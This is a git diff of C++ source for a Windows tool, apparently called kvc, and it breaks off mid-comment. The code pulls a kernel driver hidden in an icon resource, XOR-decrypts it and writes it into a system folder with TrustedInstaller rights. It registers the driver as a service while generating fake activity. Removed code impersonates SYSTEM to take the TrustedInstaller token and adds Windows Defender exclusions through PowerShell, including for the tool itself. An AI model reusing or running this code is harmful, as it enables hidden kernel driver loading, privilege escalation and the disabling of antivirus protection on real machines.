diff --git a/kvc/ControllerDriverManager.cpp b/kvc/ControllerDriverManager.cpp index 1a5d190..f8f1b03 100644 --- a/kvc/ControllerDriverManager.cpp +++ b/kvc/ControllerDriverManager.cpp @@ -7,6 +7,10 @@ namespace fs = std::filesystem; +// ============================================================================ +// SERVICE CLEANUP AND MANAGEMENT +// ============================================================================ + // Attempts to forcefully remove the driver service, ignoring most errors. // This is a cleanup utility to ensure a clean state before installation. bool Controller::ForceRemoveService() noexcept { @@ -18,7 +22,8 @@ bool Controller::ForceRemoveService() noexcept { if (!hSCM) { return false; } -// Try to open the service with DELETE access. + + // Try to open the service with DELETE access SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), DELETE); if (!hService) { DWORD err = GetLastError(); @@ -35,207 +40,6 @@ bool Controller::ForceRemoveService() noexcept { return success || (err == ERROR_SERVICE_MARKED_FOR_DELETE); } - -// Driver service lifecycle management -bool Controller::StopDriverService() noexcept { - DEBUG(L"StopDriverService called"); - - if (!InitDynamicAPIs()) { - DEBUG(L"InitDynamicAPIs failed in StopDriverService"); - return false; - } - - SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); - if (!hSCM) { - DEBUG(L"OpenSCManagerW failed: %d", GetLastError()); - return false; - } - - SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS); - if (!hService) { - DWORD err = GetLastError(); - CloseServiceHandle(hSCM); - - if (err == ERROR_SERVICE_DOES_NOT_EXIST) { - DEBUG(L"Service does not exist - considered stopped"); - return true; - } - - DEBUG(L"OpenServiceW failed: %d", err); - return false; - } - - SERVICE_STATUS status; - if (QueryServiceStatus(hService, &status)) { - if (status.dwCurrentState == SERVICE_STOPPED) { - DEBUG(L"Service already stopped"); - CloseServiceHandle(hService); - CloseServiceHandle(hSCM); - return true; - } - } - - SERVICE_STATUS stopStatus; - BOOL success = g_pControlService(hService, SERVICE_CONTROL_STOP, &stopStatus); - DWORD err = GetLastError(); - - CloseServiceHandle(hService); - CloseServiceHandle(hSCM); - - DEBUG(L"ControlService result: %d, error: %d", success, err); - - return success || err == ERROR_SERVICE_NOT_ACTIVE; -} - -// Extract driver from steganographic icon resource -std::vector Controller::ExtractEncryptedDriver() noexcept { - auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA); - if (iconData.size() <= 9662) { - ERROR(L"Icon resource too small or corrupted - steganographic driver missing"); - return {}; - } - // Skip first 9662 bytes (actual icon data) to get embedded driver - return std::vector(iconData.begin() + 9662, iconData.end()); -} - -// Decrypt embedded driver using XOR cipher -// Decrypt embedded driver using XOR cipher -std::vector Controller::DecryptDriver(const std::vector& encryptedData) noexcept { - if (encryptedData.empty()) { - ERROR(L"No encrypted driver data provided"); - return {}; - } - - constexpr std::array key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C }; - std::vector decryptedData = encryptedData; - - // Simple XOR decryption with repeating key - for (size_t i = 0; i < decryptedData.size(); ++i) { - decryptedData[i] ^= key[i % key.size()]; // Use 'key' instead of 'decryptionKey' - } - - return decryptedData; -} - -// Silent driver installation with TrustedInstaller privileges -bool Controller::InstallDriverSilently() noexcept { - ForceRemoveService(); - // Check for zombie service state - if (IsServiceZombie()) { - CRITICAL(L""); // była ERROR - CRITICAL(L"==============================================================="); - CRITICAL(L" DRIVER SERVICE IN ZOMBIE STATE - SYSTEM RESTART REQUIRED"); - CRITICAL(L"==============================================================="); - CRITICAL(L""); - CRITICAL(L"The kernel driver service is marked for deletion but cannot be"); - CRITICAL(L"removed until the system is restarted. This typically occurs"); - CRITICAL(L"when driver loading is interrupted during initialization."); - CRITICAL(L""); - INFO(L"Required action: Restart your computer to clear the zombie state"); // INFO zostaje - INFO(L"After restart, the driver will load normally"); // INFO zostaje - CRITICAL(L""); - CRITICAL(L"==============================================================="); - CRITICAL(L""); - return false; - } - auto encryptedData = ExtractEncryptedDriver(); - if (encryptedData.empty()) return false; - - auto driverData = DecryptDriver(encryptedData); - if (driverData.empty()) return false; - - fs::path tempDir = GetSystemTempPath(); - fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName()); - - if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) return false; - - fs::path driverDir = GetDriverStorePath(); - - // Ensure target directory exists with TrustedInstaller privileges - DWORD attrs = GetFileAttributesW(driverDir.c_str()); - if (attrs == INVALID_FILE_ATTRIBUTES) { - // Directory doesn't exist - create it with TrustedInstaller rights - std::wstring createDirCommand = L"cmd.exe /c mkdir \"" + driverDir.wstring() + L"\""; - if (!RunAsTrustedInstallerSilent(createDirCommand)) { - DeleteFileW(tempDriverPath.c_str()); - ERROR(L"Failed to create driver directory with TrustedInstaller privileges"); - return false; - } - } - - fs::path driverPath = driverDir / fs::path(GetDriverFileName()); - - // Copy with system privileges - std::wstring copyCommand = L"cmd.exe /c copy /Y \"" + tempDriverPath.wstring() + L"\" \"" + driverPath.wstring() + L"\""; - if (!RunAsTrustedInstallerSilent(copyCommand)) { - DeleteFileW(tempDriverPath.c_str()); - return false; - } - - DeleteFileW(tempDriverPath.c_str()); - - return RegisterDriverServiceSilent(driverPath.wstring()); -} - -bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept { - if (!InitDynamicAPIs()) return false; - - if (IsServiceZombie()) { - DEBUG(L"Zombie service detected - restart required"); - return false; - } - - GenerateFakeActivity(); - - SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); - if (!hSCM) return false; - - SC_HANDLE hService = g_pCreateServiceW( - hSCM, - GetServiceName().c_str(), - L"KVC", - SERVICE_ALL_ACCESS, - SERVICE_KERNEL_DRIVER, // KEY CHANGE: type = kernel - SERVICE_DEMAND_START, // start = demand (can be changed to auto) - SERVICE_ERROR_NORMAL, - driverPath.c_str(), - nullptr, nullptr, nullptr, nullptr, nullptr - ); - - bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS); - - if (hService) CloseServiceHandle(hService); - CloseServiceHandle(hSCM); - return success; -} - -bool Controller::StartDriverServiceSilent() noexcept { - if (!InitDynamicAPIs()) return false; - GenerateFakeActivity(); - - SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); - if (!hSCM) return false; - - SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS); - if (!hService) { - CloseServiceHandle(hSCM); - return false; - } - - SERVICE_STATUS status; - bool success = true; - - if (QueryServiceStatus(hService, &status)) { - if (status.dwCurrentState != SERVICE_RUNNING) { - success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING); - } - } - - CloseServiceHandle(hService); - CloseServiceHandle(hSCM); - return success; -} - // Detects zombie service state (marked for deletion but not yet removed). // Returns true if service exists with DELETE_PENDING flag, indicating system restart is required. bool Controller::IsServiceZombie() noexcept { @@ -260,153 +64,76 @@ bool Controller::IsServiceZombie() noexcept { return (!delResult && err == ERROR_SERVICE_MARKED_FOR_DELETE); } -// Legacy driver installation with enhanced error handling -bool Controller::InstallDriver() noexcept { - ForceRemoveService(); - // Check for zombie service state - if (IsServiceZombie()) { - CRITICAL(L""); // była ERROR - CRITICAL(L"==============================================================="); - CRITICAL(L" DRIVER SERVICE IN ZOMBIE STATE - SYSTEM RESTART REQUIRED"); - CRITICAL(L"==============================================================="); - CRITICAL(L""); - CRITICAL(L"The kernel driver service is marked for deletion but cannot be"); - CRITICAL(L"removed until the system is restarted. This typically occurs"); - CRITICAL(L"when driver loading is interrupted during initialization."); - CRITICAL(L""); - INFO(L"Required action: Restart your computer to clear the zombie state"); // INFO zostaje - INFO(L"After restart, the driver will load normally"); // INFO zostaje - CRITICAL(L""); - CRITICAL(L"==============================================================="); - CRITICAL(L""); - return false; - } - auto encryptedData = ExtractEncryptedDriver(); - if (encryptedData.empty()) { - ERROR(L"Failed to extract encrypted driver from icon resource"); +// ============================================================================ +// SERVICE LIFECYCLE MANAGEMENT +// ============================================================================ + +bool Controller::StopDriverService() noexcept { + DEBUG(L"StopDriverService called"); + + if (!InitDynamicAPIs()) { + DEBUG(L"InitDynamicAPIs failed in StopDriverService"); return false; } - auto driverData = DecryptDriver(encryptedData); - if (driverData.empty()) { - ERROR(L"Failed to decrypt embedded driver data"); - return false; - } - - fs::path tempDir = fs::temp_directory_path(); - fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName()); - - if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) { - ERROR(L"Failed to write driver file to temp location: %s", tempDriverPath.c_str()); - return false; - } - - fs::path driverDir = GetDriverStorePath(); - fs::path driverPath = driverDir / fs::path(GetDriverFileName()); - - std::error_code ec; - fs::create_directories(driverDir, ec); - if (ec) { - INFO(L"Directory creation failed (may already exist)"); - } - - std::wstring copyCommand = L"cmd.exe /c copy /Y " + tempDriverPath.wstring() + L" " + driverPath.wstring(); - INFO(L"Copying driver with elevated privileges: %s", copyCommand.c_str()); - - if (!RunAsTrustedInstaller(copyCommand)) { - ERROR(L"Failed to copy driver to system directory with elevated privileges"); - DeleteFileW(tempDriverPath.c_str()); - return false; - } - - if (!fs::exists(driverPath)) { - ERROR(L"Driver file was not copied successfully to: %s", driverPath.c_str()); - DeleteFileW(tempDriverPath.c_str()); - return false; - } - - SUCCESS(L"Driver file successfully copied to: %s", driverPath.c_str()); - DeleteFileW(tempDriverPath.c_str()); - - if (!InitDynamicAPIs()) return false; - GenerateFakeActivity(); - - SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); if (!hSCM) { - ERROR(L"Failed to open service control manager: %d", GetLastError()); + DEBUG(L"OpenSCManagerW failed: %d", GetLastError()); return false; } - SC_HANDLE hService = g_pCreateServiceW( - hSCM, GetServiceName().c_str(), L"KVC", - SERVICE_ALL_ACCESS, - SERVICE_KERNEL_DRIVER, // KEY CHANGE - SERVICE_DEMAND_START, // start= demand - SERVICE_ERROR_NORMAL, driverPath.c_str(), - nullptr, nullptr, nullptr, nullptr, nullptr - ); - + SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS); if (!hService) { DWORD err = GetLastError(); CloseServiceHandle(hSCM); - if (err != ERROR_SERVICE_EXISTS) { - ERROR(L"Failed to create driver service: %d", err); - return false; + if (err == ERROR_SERVICE_DOES_NOT_EXIST) { + DEBUG(L"Service does not exist - considered stopped"); + return true; } - INFO(L"Driver service already exists, proceeding"); - } else { + DEBUG(L"Failed to open service: %d", err); + return false; + } + + SERVICE_STATUS status; + if (!QueryServiceStatus(hService, &status)) { CloseServiceHandle(hService); - SUCCESS(L"Driver service created successfully"); - } - - CloseServiceHandle(hSCM); - SUCCESS(L"Driver installed and registered as Windows service"); - return true; -} - -bool Controller::UninstallDriver() noexcept { - StopDriverService(); - - if (!InitDynamicAPIs()) return true; - - SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); - if (!hSCM) { - return true; - } - - std::wstring serviceName = GetServiceName(); - SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE); - if (!hService) { CloseServiceHandle(hSCM); + return false; + } + + if (status.dwCurrentState == SERVICE_STOPPED) { + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + DEBUG(L"Service already stopped"); return true; } - BOOL success = g_pDeleteService(hService); + if (status.dwCurrentState == SERVICE_RUNNING) { + if (!g_pControlService(hService, SERVICE_CONTROL_STOP, &status)) { + DWORD err = GetLastError(); + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + DEBUG(L"ControlService failed: %d", err); + return false; + } + + // Wait for service to stop (up to 5 seconds) + for (int i = 0; i < 50; i++) { + Sleep(100); + if (QueryServiceStatus(hService, &status)) { + if (status.dwCurrentState == SERVICE_STOPPED) { + break; + } + } + } + } + CloseServiceHandle(hService); CloseServiceHandle(hSCM); - - if (!success) { - DWORD err = GetLastError(); - if (err != ERROR_SERVICE_MARKED_FOR_DELETE) { - ERROR(L"Failed to delete driver service: %d", err); - return false; - } - } - - // Clean up driver file - fs::path driverDir = GetDriverStorePath(); - fs::path driverPath = driverDir / fs::path(GetDriverFileName()); - std::error_code ec; - if (!fs::remove(driverPath, ec)) { - if (ec.value() != ERROR_FILE_NOT_FOUND) { - std::wstring delCommand = L"cmd.exe /c del /Q \"" + driverPath.wstring() + L"\""; - RunAsTrustedInstallerSilent(delCommand); - } - } - + DEBUG(L"Service stop completed"); return true; } @@ -450,4 +177,309 @@ bool Controller::StartDriverService() noexcept { SUCCESS(L"Kernel driver service started successfully"); return true; +} + +bool Controller::StartDriverServiceSilent() noexcept { + if (!InitDynamicAPIs()) return false; + GenerateFakeActivity(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) return false; + + SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS); + if (!hService) { + CloseServiceHandle(hSCM); + return false; + } + + SERVICE_STATUS status; + bool success = true; + + if (QueryServiceStatus(hService, &status)) { + if (status.dwCurrentState != SERVICE_RUNNING) { + success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING); + } + } + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return success; +} + +// ============================================================================ +// DRIVER INSTALLATION - MAIN FUNCTION +// ============================================================================ + +bool Controller::InstallDriver() noexcept { + ForceRemoveService(); + + // Check for zombie service state + if (IsServiceZombie()) { + CRITICAL(L""); + CRITICAL(L"==============================================================="); + CRITICAL(L" DRIVER SERVICE IN ZOMBIE STATE - SYSTEM RESTART REQUIRED"); + CRITICAL(L"==============================================================="); + CRITICAL(L""); + CRITICAL(L"The kernel driver service is marked for deletion but cannot be"); + CRITICAL(L"removed until the system is restarted. This typically occurs"); + CRITICAL(L"when driver loading is interrupted during initialization."); + CRITICAL(L""); + INFO(L"Required action: Restart your computer to clear the zombie state"); + INFO(L"After restart, the driver will load normally"); + CRITICAL(L""); + CRITICAL(L"==============================================================="); + CRITICAL(L""); + return false; + } + + auto encryptedData = ExtractEncryptedDriver(); + if (encryptedData.empty()) { + ERROR(L"Failed to extract encrypted driver from icon resource"); + return false; + } + + auto driverData = DecryptDriver(encryptedData); + if (driverData.empty()) { + ERROR(L"Failed to decrypt embedded driver data"); + return false; + } + + // ======================================================================== + // REFACTORED: Direct write with TrustedInstaller privileges + // ======================================================================== + + // Get target paths + fs::path driverDir = GetDriverStorePath(); + fs::path driverPath = driverDir / fs::path(GetDriverFileName()); + + INFO(L"Target driver path: %s", driverPath.c_str()); + + // Ensure directory exists with TrustedInstaller privileges + DWORD attrs = GetFileAttributesW(driverDir.c_str()); + if (attrs == INVALID_FILE_ATTRIBUTES) { + std::wstring createDirCmd = L"cmd.exe /c mkdir \"" + driverDir.wstring() + L"\""; + if (!m_trustedInstaller.RunAsTrustedInstallerSilent(createDirCmd)) { + ERROR(L"Failed to create driver directory"); + return false; + } + } + + // Write driver file directly with TrustedInstaller privileges + INFO(L"Writing driver file with TrustedInstaller privileges..."); + if (!m_trustedInstaller.WriteFileAsTrustedInstaller(driverPath.wstring(), driverData)) { + ERROR(L"Failed to write driver file to system location"); + return false; + } + + // Verify file was written successfully + DWORD fileAttrs = GetFileAttributesW(driverPath.c_str()); + if (fileAttrs == INVALID_FILE_ATTRIBUTES) { + ERROR(L"Driver file verification failed: %s", driverPath.c_str()); + return false; + } + + SUCCESS(L"Driver file written successfully: %s (%zu bytes)", driverPath.c_str(), driverData.size()); + + // ======================================================================== + // SERVICE REGISTRATION + // ======================================================================== + + if (!InitDynamicAPIs()) return false; + GenerateFakeActivity(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) { + ERROR(L"Failed to open service control manager: %d", GetLastError()); + return false; + } + + SC_HANDLE hService = g_pCreateServiceW( + hSCM, + GetServiceName().c_str(), + L"KVC", + SERVICE_ALL_ACCESS, + SERVICE_KERNEL_DRIVER, + SERVICE_DEMAND_START, + SERVICE_ERROR_NORMAL, + driverPath.c_str(), + nullptr, nullptr, nullptr, nullptr, nullptr + ); + + if (!hService) { + DWORD err = GetLastError(); + CloseServiceHandle(hSCM); + + if (err != ERROR_SERVICE_EXISTS) { + ERROR(L"Failed to create driver service: %d", err); + return false; + } + + INFO(L"Driver service already exists, proceeding"); + } else { + CloseServiceHandle(hService); + SUCCESS(L"Driver service created successfully"); + } + + CloseServiceHandle(hSCM); + SUCCESS(L"Driver installed and registered as Windows service"); + return true; +} + +// ============================================================================ +// SILENT INSTALLATION (for automated operations) +// ============================================================================ + +bool Controller::InstallDriverSilently() noexcept { + if (IsServiceZombie()) { + return false; + } + + auto encryptedData = ExtractEncryptedDriver(); + if (encryptedData.empty()) return false; + + auto driverData = DecryptDriver(encryptedData); + if (driverData.empty()) return false; + + // ======================================================================== + // REFACTORED: Direct write with TrustedInstaller privileges + // ======================================================================== + + // Get target paths + fs::path driverDir = GetDriverStorePath(); + fs::path driverPath = driverDir / fs::path(GetDriverFileName()); + + // Ensure directory exists + DWORD attrs = GetFileAttributesW(driverDir.c_str()); + if (attrs == INVALID_FILE_ATTRIBUTES) { + std::wstring createDirCmd = L"cmd.exe /c mkdir \"" + driverDir.wstring() + L"\""; + if (!m_trustedInstaller.RunAsTrustedInstallerSilent(createDirCmd)) { + return false; + } + } + + // Write driver directly with TrustedInstaller privileges + if (!m_trustedInstaller.WriteFileAsTrustedInstaller(driverPath.wstring(), driverData)) { + return false; + } + + // Verify file + DWORD fileAttrs = GetFileAttributesW(driverPath.c_str()); + if (fileAttrs == INVALID_FILE_ATTRIBUTES) { + return false; + } + + // Register service + return RegisterDriverServiceSilent(driverPath.wstring()); +} + +bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept { + if (!InitDynamicAPIs()) return false; + + if (IsServiceZombie()) { + DEBUG(L"Zombie service detected - restart required"); + return false; + } + + GenerateFakeActivity(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) return false; + + SC_HANDLE hService = g_pCreateServiceW( + hSCM, + GetServiceName().c_str(), + L"KVC", + SERVICE_ALL_ACCESS, + SERVICE_KERNEL_DRIVER, + SERVICE_DEMAND_START, + SERVICE_ERROR_NORMAL, + driverPath.c_str(), + nullptr, nullptr, nullptr, nullptr, nullptr + ); + + bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS); + + if (hService) CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return success; +} + +// ============================================================================ +// DRIVER UNINSTALLATION +// ============================================================================ + +bool Controller::UninstallDriver() noexcept { + StopDriverService(); + + if (!InitDynamicAPIs()) return true; + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) { + return true; + } + + std::wstring serviceName = GetServiceName(); + SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE); + if (!hService) { + CloseServiceHandle(hSCM); + return true; + } + + BOOL success = g_pDeleteService(hService); + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + if (!success) { + DWORD err = GetLastError(); + if (err != ERROR_SERVICE_MARKED_FOR_DELETE) { + ERROR(L"Failed to delete driver service: %d", err); + return false; + } + } + + // Clean up driver file with TrustedInstaller privileges + fs::path driverDir = GetDriverStorePath(); + fs::path driverPath = driverDir / fs::path(GetDriverFileName()); + + std::error_code ec; + if (!fs::remove(driverPath, ec)) { + if (ec.value() != ERROR_FILE_NOT_FOUND) { + // Try with TrustedInstaller if normal delete fails + m_trustedInstaller.DeleteFileAsTrustedInstaller(driverPath.wstring()); + } + } + + return true; +} +// ============================================================================ +// DRIVER EXTRACTION AND DECRYPTION +// ============================================================================ + +// Extract driver from steganographic icon resource +std::vector Controller::ExtractEncryptedDriver() noexcept { + auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA); + if (iconData.size() <= 9662) { + ERROR(L"Icon resource too small or corrupted - steganographic driver missing"); + return {}; + } + // Skip first 9662 bytes (actual icon data) to get embedded driver + return std::vector(iconData.begin() + 9662, iconData.end()); +} + +// Decrypt embedded driver using XOR cipher +std::vector Controller::DecryptDriver(const std::vector& encryptedData) noexcept { + if (encryptedData.empty()) { + ERROR(L"No encrypted driver data provided"); + return {}; + } + + constexpr std::array key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C }; + std::vector decryptedData = encryptedData; + + // Simple XOR decryption with repeating key + for (size_t i = 0; i < decryptedData.size(); ++i) { + decryptedData[i] ^= key[i % key.size()]; + } + + return decryptedData; } \ No newline at end of file diff --git a/kvc/TrustedInstallerIntegrator.cpp b/kvc/TrustedInstallerIntegrator.cpp index 83a3b4f..129b0b6 100644 --- a/kvc/TrustedInstallerIntegrator.cpp +++ b/kvc/TrustedInstallerIntegrator.cpp @@ -1,5 +1,5 @@ #include "TrustedInstallerIntegrator.h" -#include "common.h" // Assumed to contain SUCCESS, ERROR, INFO macros +#include "common.h" #include #include #include @@ -16,7 +16,10 @@ namespace fs = std::filesystem; #pragma comment(lib, "ole32.lib") #pragma comment(lib, "shell32.lib") -// A comprehensive set of system privileges to ensure maximum access rights when elevated. +// ============================================================================ +// CONSTANTS +// ============================================================================ + const LPCWSTR TrustedInstallerIntegrator::ALL_PRIVILEGES[] = { L"SeAssignPrimaryTokenPrivilege", L"SeBackupPrivilege", L"SeRestorePrivilege", L"SeDebugPrivilege", L"SeImpersonatePrivilege", L"SeTakeOwnershipPrivilege", @@ -31,24 +34,21 @@ const LPCWSTR TrustedInstallerIntegrator::ALL_PRIVILEGES[] = { }; const int TrustedInstallerIntegrator::PRIVILEGE_COUNT = sizeof(TrustedInstallerIntegrator::ALL_PRIVILEGES) / sizeof(LPCWSTR); -// A simple caching mechanism for the TrustedInstaller token to improve performance on subsequent calls. static HANDLE g_cachedTrustedInstallerToken = nullptr; static DWORD g_lastTokenAccessTime = 0; -static const DWORD TOKEN_CACHE_TIMEOUT = 30000; // Cache validity period: 30 seconds +static const DWORD TOKEN_CACHE_TIMEOUT = 30000; -/*************************************************************************************************/ -/* CONSTRUCTOR / DESTRUCTOR */ -/*************************************************************************************************/ +// ============================================================================ +// CONSTRUCTOR / DESTRUCTOR +// ============================================================================ TrustedInstallerIntegrator::TrustedInstallerIntegrator() { - // Initialize the COM library for use by this thread. Required for shell operations like ResolveLnk. CoInitialize(NULL); } TrustedInstallerIntegrator::~TrustedInstallerIntegrator() { - // Uninitialize the COM library and release any cached resources. CoUninitialize(); if (g_cachedTrustedInstallerToken) { @@ -57,701 +57,15 @@ TrustedInstallerIntegrator::~TrustedInstallerIntegrator() } } -/*************************************************************************************************/ -/* PUBLIC API: PROCESS & COMMAND EXECUTION */ -/*************************************************************************************************/ +// ============================================================================ +// CORE TOKEN MANAGEMENT +// ============================================================================ -/** - * @brief Executes a command line with TrustedInstaller privileges, showing console output. - * @param commandLine The command or path to the executable to run. Resolves .lnk files automatically. - * @return true if the process was started successfully, false otherwise. - */ -bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& commandLine) -{ - std::wstring finalCommandLine = commandLine; - - // If the path points to a shortcut (.lnk), resolve it to its target. - if (IsLnkFile(commandLine.c_str())) - { - std::wcout << L"Resolving shortcut: " << commandLine << std::endl; - finalCommandLine = ResolveLnk(commandLine.c_str()); - - if (finalCommandLine.empty()) - { - std::wcout << L"Failed to resolve shortcut, cannot execute .lnk file directly." << std::endl; - return false; - } - - std::wcout << L"Resolved shortcut to: " << finalCommandLine << std::endl; - } - - std::wcout << L"Executing with elevated system privileges: " << finalCommandLine << std::endl; - - // Acquire necessary privileges and impersonate SYSTEM to access TrustedInstaller. - if (!ImpersonateSystem()) - { - std::wcout << L"Failed to impersonate SYSTEM account: " << GetLastError() << std::endl; - return false; - } - - // Ensure the TrustedInstaller service is running and get its PID. - DWORD trustedInstallerPid = StartTrustedInstallerService(); - if (trustedInstallerPid == 0) - { - std::wcout << L"Failed to start elevated system service: " << GetLastError() << std::endl; - RevertToSelf(); - return false; - } - - // Create the process using the TrustedInstaller token. - BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine.c_str()); - if (!result) - { - std::wcout << L"Failed to create process with elevated privileges: " << GetLastError() << std::endl; - } - else - { - std::wcout << L"Process started successfully with maximum system privileges" << std::endl; - } - - RevertToSelf(); // Always revert impersonation. - return result != FALSE; -} - -/** - * @brief Executes a command line with TrustedInstaller privileges silently (no window). - * @param commandLine The command or path to the executable to run. Resolves .lnk files automatically. - * @return true if the process completed successfully with exit code 0, false otherwise. - */ -bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring& commandLine) -{ - std::wstring finalCommandLine = commandLine; - - // Resolve shortcut if needed. - if (IsLnkFile(commandLine.c_str())) - { - finalCommandLine = ResolveLnk(commandLine.c_str()); - if (finalCommandLine.empty()) { - return false; - } - } - - if (!ImpersonateSystem()) { - return false; - } - - DWORD trustedInstallerPid = StartTrustedInstallerService(); - if (trustedInstallerPid == 0) { - RevertToSelf(); - return false; - } - - BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine.c_str()); - - RevertToSelf(); - return result != FALSE; -} - -/*************************************************************************************************/ -/* PUBLIC API: WINDOWS DEFENDER EXCLUSION MANAGEMENT */ -/*************************************************************************************************/ - -/** - * @brief Adds a Windows Defender exclusion of a specific type. - * @param type The type of exclusion (Path, Process, Extension, IpAddress). - * @param value The value to exclude (e.g., "C:\\temp", "cmd.exe", ".tmp", "192.168.1.1"). - * @return true if the exclusion was added successfully, false otherwise. - */ -bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const std::wstring& value) -{ - std::wstring processedValue = value; - - // Perform type-specific validation and normalization. - switch (type) { - case ExclusionType::Extensions: - if (!ValidateExtension(value)) { - ERROR(L"Invalid extension format: %s", value.c_str()); - return false; - } - processedValue = NormalizeExtension(value); - break; - - case ExclusionType::IpAddresses: - if (!ValidateIpAddress(value)) { - ERROR(L"Invalid IP address format: %s", value.c_str()); - return false; - } - break; - - case ExclusionType::Processes: - // If a full path is provided, extract only the filename. - if (value.find(L'\\') != std::wstring::npos) { - fs::path path(value); - processedValue = path.filename().wstring(); - INFO(L"Extracted process name from path: %s", processedValue.c_str()); - } - break; - - case ExclusionType::Paths: - // No special processing needed for paths. - break; - } - - // Escape single quotes for PowerShell command line. - std::wstring escapedValue; - for (wchar_t c : processedValue) { - if (c == L'\'') - escapedValue += L"''"; - else - escapedValue += c; - } - - std::wstring typeStr = GetExclusionTypeString(type); - std::wstring command = L"powershell -Command \"Add-MpPreference -Exclusion" + typeStr + L" '" + escapedValue + L"'\""; - - bool result = RunAsTrustedInstallerSilent(command); - - if (result) { - SUCCESS(L"Successfully added to Windows Defender %s exclusions: %s", typeStr.c_str(), processedValue.c_str()); - } else { - INFO(L"AV exclusion skipped: %s %s", typeStr.c_str(), processedValue.c_str()); - } - - return result; -} - -/** - * @brief Removes a Windows Defender exclusion of a specific type. - * @param type The type of exclusion to remove. - * @param value The value to remove from exclusions. - * @return true if the exclusion was removed successfully, false otherwise. - */ -bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, const std::wstring& value) -{ - std::wstring processedValue = value; - - // Apply same normalization as in the Add method for consistency. - switch (type) { - case ExclusionType::Extensions: - processedValue = NormalizeExtension(value); - break; - case ExclusionType::Processes: - if (value.find(L'\\') != std::wstring::npos) { - fs::path path(value); - processedValue = path.filename().wstring(); - } - break; - } - - std::wstring escapedValue; - for (wchar_t c : processedValue) { - if (c == L'\'') - escapedValue += L"''"; - else - escapedValue += c; - } - - std::wstring typeStr = GetExclusionTypeString(type); - std::wstring command = L"powershell -Command \"Remove-MpPreference -Exclusion" + typeStr + L" '" + escapedValue + L"'\""; - - bool result = RunAsTrustedInstallerSilent(command); - - if (result) { - SUCCESS(L"Windows Defender %s exclusion removal completed: %s", typeStr.c_str(), processedValue.c_str()); - } else { - INFO(L"AV cleanup skipped: %s %s", typeStr.c_str(), processedValue.c_str()); - } - - return result; -} - -// Convenience wrappers for specific exclusion types. -bool TrustedInstallerIntegrator::AddPathExclusion(const std::wstring& path) { return AddDefenderExclusion(ExclusionType::Paths, path); } -bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(const std::wstring& processName) { return AddDefenderExclusion(ExclusionType::Processes, processName); } -bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(const std::wstring& processName) { return RemoveDefenderExclusion(ExclusionType::Processes, processName); } -bool TrustedInstallerIntegrator::AddExtensionExclusion(const std::wstring& extension) { return AddDefenderExclusion(ExclusionType::Extensions, extension); } -bool TrustedInstallerIntegrator::RemoveExtensionExclusion(const std::wstring& extension) { return RemoveDefenderExclusion(ExclusionType::Extensions, extension); } -bool TrustedInstallerIntegrator::AddIpAddressExclusion(const std::wstring& ipAddress) { return AddDefenderExclusion(ExclusionType::IpAddresses, ipAddress); } -bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(const std::wstring& ipAddress) { return RemoveDefenderExclusion(ExclusionType::IpAddresses, ipAddress); } - -/** - * @brief A comprehensive exclusion method, primarily for self-protection of the running executable. - * If no path is provided, it excludes the current executable by both path and process name. - * @param customPath 